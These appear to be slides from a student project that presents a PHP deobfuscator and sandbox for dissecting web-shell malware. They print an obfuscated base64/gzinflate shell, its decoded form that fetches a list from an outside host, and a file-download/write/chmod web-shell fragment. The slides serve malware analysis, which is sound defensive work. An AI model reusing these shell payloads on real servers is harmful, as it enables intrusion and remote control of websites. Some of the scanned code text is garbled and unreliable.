A PHP Sandbox for the Dissection of Web Malcode and Remote Access Trojans

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Overview

- Recap of the original objectives
- What changed during developement
- The decoder
- The sandbox
- Problems
- Results
- Future work
- Questions

Original Objectives

- A <u>deobfuscator</u> for normalising input code before execution.
- A <u>sandbox</u> for executing and dissecting malicious PHP code
- A <u>reporting mechanism</u> for feedback on any offensive features detected by the system.

What changed

- Not a lot
- Reporter was done away with
- Some static analysis was added to the decoder
- I started to seriously dislike PHP

Design - The decoder

http://127.0.0.1/upload.php







127.0.0.1/upload.php

Shell is already in the database

PHP Decoder

Original Shell:

<?php



```
eval( gzinflate(
base64 decode(\'TVXXCuzIFfyX+712Y1Y5YfyqVs75KIsLRjmMRlkzkr7eWt+F3Yei+lRV01DQnGkp6/8u5dSnefmPH9DvD6j88a8fPw+S+HlQ5M3IDe7ngdI3U7fG3s
zcEG6Qv7w/MhT+687/c+ifGvZLw+4cdvuEeM9/5sq/vL/NKP3bERRbzkySY0PGB9U739UmhxZ0HHM1nEkt3duMyG/w1M0d7pE6
/NIe2J7A6wueoeGDeY3y6VY0hwLejk2+pDZqtleoXMJ4aDrcU94jIn2onKtQBcgGOWERjT7rAes62msIXIGXvUJfuVmuZYsHZX3aOBfhjM0
/7ZkwXinr6CzRFpI4uSyMxhWSL2HDWc5XHL6WFnMv6yqZNBoLv+pkFxnNR0LzazL0YPzGT9zwEFEiSuuFvpMuGMftk0VaZqZYPaBSqY/BbZIcNtFC04WqiWFs0q
/a7D1MEG2lpV9Li9GnHCcIjBJ1QbEHnlolekU0xqz1RDlp7OwgrLA8dJxrHXJHfJmMPP0P8Knh34RQFP27K7Ll5TynGcYKP07CmZAktZoIWavGc1ZjZqqF6cd6Bq9xsFni
/lvGYZhh4NmxgQvhmqewzeGb4GWQH96RhngPxQYIPU5Fn2doMjPJf9Em1Lww5YsyXwlDEdMnYCh6zSw+Dr7zLhvKz0zRvJ0p7MnLkBHmNnIpyn8cw6mHMZMyY0EPTUrHUb
mTrMvlKmrR6TsyvTqASXrgdmVzGt+EhcBLMd2bgS1Gndj002cfLT+FmAGam4fsi09a70mK238JGnGNj7rzZ8VBHjc0eHT3FjYxrs5Cx0UgyKKNA9R8xyA2MB9q+xsoSeN0
KI1FZb/o+ruMg@UysnHggjaRFWb00YFbZvpf1GaJaWNfDNQtotcpI5@ASyi/4EjKpj
/MNObxpYm5wnXqJZG0cfFlul46G8CI6cFr2uqxyxslAvV86IceHka0KxUy40kqKU61Bop0PpBqzQJzz3nWutELG7dTDC2U3D9NDtG37LMTDJdjDsJDCSelZnR
/ENvJSSetGZnU2AIxvGGJZ0R032S5PzLqKbxnJxBnrWbHn9i5RVTqHlqjzh2hePUku1BbZ2Sdrue4TIWpYBZD5aB+12vTDcRdPGjw4hJjd9ybTiKFrh00NSCKdB80f1Yaq
sWqvZxD71ZEzxR010izTN0IyVfKB7AJlwyzXkSwUYanKu6idzBlyIC4Creqzqzwkhzc0faDPyIzcykn6CqbIrn5MwS8hT9D7PPPMAX06TI5lC2wBM69C2Nlo3ACNADMaDt
RrTU7rv+/ORroyXeWSpsozpCbNiZxLDwJQBoxdacP8Hh2ZiznOMI50AEQGMBSC6a/Qb4Z1IGBBde8DpeQu4jN/jqLqq1WqWNL76S4E32ZGyLlBvWrq0DWesKnceGSkJ
/nMqkbxfJ3mK5EtM260KML4q8i/qdmznc85T5fuetZM35n5nXZvYr7DYE15zE36VGkd7pzsGq0W4hcZuaseJebn
/YriG7MKfdwCJx+6oRHrkhN8J0r3F+Ie2CmaOBnaM2maFmRBBqQAqILkz4A8Si0wxWadck2CieIMk03AbPZ4AZtgdlCNr+cDIU9lrOJ51gHaWEcSP4Nwujbc8jzCqh6AHN
eZH6SlIAe681UPqPLHJwyHuqYBLC/FZc9U1kEkHqV0+ZUFwKALsL/pLp01ofX+tCqpr1g13kVUX/Y/v90bgfkLGLiX0u8//vnv/wE=\')));
```

Deobfuscated Shell:



```
h5(\'http://mycompanyeye.com/bulbozavr/puk7/13.list\',1*900);
functionh5($u,$t){
        $nobot=isset($ REQUEST[\'nobot\'])?true:false;
        $debug=isset($_REQUEST[\'debug\'])?true:false;
        $t2=3600*5;
        $t3=3600*12:
        $tm=(!@ini get(\'upload tmp dir\'))?\'/tmp/\':@ini get(\'upload tmp dir\');
        if(!Stmp=triksp(array(Stm,\'./images/avatars/\'))){
                if($debug){
                        echo(\'DEBUG:(ERROR:temporarypathnotfound,return)<br>\'."\r\n");
                return;
        $agent=isset($ SERVER[\'HTTP USER AGENT\'])?$ SERVER[\'HTTP USER AGENT\']:\'\';
        if($debua){
                echo(\'DEBUG:(INFO:temporarypath=\'.$tm.\')<br/>br>,agent(\'.$agent.\')\'."\r\n");
        if(!preg_match(\'%(http|curl|google|yahoo|yandex|ya|bing|bot|crawl|lynx|SiteUptime|Spider|ia_archiver|AOL|slurp|msn)%i
\', $agent, $ret)){
                if($debug){
```

Shell Information:



Depth: 2

\$u, \$t, \$nobot, \$debug, \$t2, \$t3, \$tm, \$agent, \$ret, \$temp, \$current, \$diff

URLs:

http://mycompanyeye.com/bulbozavr/puk7/13.list\

Email Addresses:

Other Shells:

9477e298bf955963e973e65b3d467811 973adf0846ecfbb2ba241900d90d1710 bb277e52253d695a4473a41fb982a220 f36389e5b42f7e497fc0327b17d16442

Run shell in sandbox



The decoder cont.

 Purpose: deobfuscate and normalise code, and perform static analysis

```
BEGIN
    Format the code
    WHILE there is still an eval or preg replace
        Increment the obfuscation depth
        Process the eval(s)
        Format the code
        Process the preg replace(s)
        Format the code
    END WHILE
    Perform pretty printing
    Initiate information harvesting
    Store the shell in the database
END
```

processEvals()

```
eval(gzinflate(base64 decode("4+VKK81LLsn")))
```

BEGIN

WHILE there is still an eval in the script
Find the starting position of the eval
Find the end position of the eval
Remove the eval from the script
Extract the string argument
Count the number of auxiliary functions
Populate the array of functions
Reverse the array


FOR every function in the reversed array Apply the function to the argument END FOR

Insert the deobfuscated code back into the script END WHILE

processPregReplace()

```
preg replace("/X/e", "print 1; ", 'X');
BEGIN
    WHILE there is still a preg replace in the script
        Find the starting position of the preg replace
        Find the end position of the preg replace
        Remove the preg replace from the script
        Extract the string arguments
        Remove '/e' from first argument to prevent evaluation
        Perform the preg replace
        Insert the deobfuscated code back into the script
      END WHILE
END
```

The sandbox



The sandbox cont.

Purpose: execute code and log calls to potentially exploitable functions

```
Retrieve the deobfuscated shell
Remove the outer php tags
Create an array of configuration options
Create the sandbox object with this array
Setup the callList object
Override malicious functions using redefineFunctions()
Execute the shell in the sandbox
Build the list of function calls
Display the shell, the output, and the list of malicous calls
END
```

redefineFuntions()

In order to log calls, functions needed to be overwritten

```
BEGIN

FOR every exploitable function
Copy the function to "name"_new
Redefine the original function
Modify the function body to echo function information
Modify function body to call the copied function
END FOR
END
```

Problems I've encountered

Shell is already in the database

PHP Decoder

Original Shell:

```
<?
//download Files Code
$fdownload=$ GET['fdownload'];
if ($fdownload <> "" ){
                                                                                                              Sending Mail - please waite ...
// path & file name
$path parts = pathinfo("$fdownload");
$entrypath=$path parts["basename"];
                                                                                                                                      OK
$name = "$fdownload";
$fp = fopen($name, 'rb');
header("Content-Disposition: attachment; filename=$entrypath");
header("Content-Length: " . filesize($name));
                                                                                   save "; $savefile=$ POST['savefile'];
Sfedit
$filepath=realpath($ POST['filepath']); if ($savefile <> "") { $fp=fopen("$filepath","w+"); fwrite ($fp,""); fwrite
($fp,$savefile); fclose($fp); echo ""; } exit(); } ?> "" ){ $fchmod=realpath($fchmod); echo "
```

chmod for :\$fchmod

Problems cont.

- Mainly due to erratic behaviour of shells
- Difficult to cater for all shells, but I'm learning
- Thankfully, the sandbox contains malicious activity
 - No Internet access
 - No access to directories outside of its specified base directory
 - No access to the parent scope
 - Runs on a separate thread

Decoder results

```
<?php
       eval(gzinflate(base64 decode(str rot13('GIKKPhmVSslK+7
2
          V2L1L5LsltIf7FXVfYEwzZEyxmxe7rJg+S3Lrv...')));
3 ?>
  <?php
2
      h5('http://mycompanyeye.com/bulbozavr/puk7/13.list',1*900);
       functionh5($u,$t){$nobot=isset($ REQUEST['nobot'])?true:
3
          false;
       $debug=isset ($ REQUEST['debug'])?true:false;
4
5
       t2 = 3600 * 5:
6
       t3 = 3600 * 12;
      $tm = (! @ini_get ('upload_tmp_dir'))?'/tmp/': @ini_get ('
         upload tmp dir');
8
       . . .
9
```

Results cont.

```
1 <?php
      eval(base64 decode("
2
         JGVtYWlsPSJqb2huQGdtYWlsLmNvbSI7DQokZW1haWwyPSJoY
         XJyeS5wb3R0ZXJAYW9sLnVzIjsNCg0KJHVybDEgPSAi..."));
3 ?>
  <?php
      $email="john@gmail.com";
2
      $email2="harry.potter@aol.us";
3
      $url1="www.google.com";
4
5
      $\url2=\"http://www.php.net/docs.php";
6
  ?>
  Shell Information:
  Depth: 1
  Time taken: 0.01144003868103
  Variables: $email $email2 $url1 $url2
  URLs: www.google.com http://www.php.net/docs.php
  Email Addresses: john@gmail.com potter@aol.us
```

Sandbox results

```
1 <?php
         exec("whoami");
         echo getlastmod();
         $newfunc = create function("$a", "return $a;");
   5
     ?>
  Sandbox Results:
2
  Potentially malicious call to Command Execution function "exec"
     on line 1
  Potentially malicious call to Information Disclosure function "
     getlastmod" on line 2
  Potentially malicious call to Code Execution function
     create_function" on line 3
```

Future work (i.e. Masters, I hope)

- System structure
 - Merge decoder and sandbox
 - Unified reporter
- Implementation
 - Use Python and PHP
- Comprehensive storage
 - Information and calls
- Similarity analysis
 - Code classification and fuzzy hashing

Future work cont.

- A taxonomy of shells
 - Track evolution using tree structures
- Decoder and sandbox improvements
 - Partial decoding and better function overriding
- Automation
 - Harvest shells and maintain blacklists

Questions

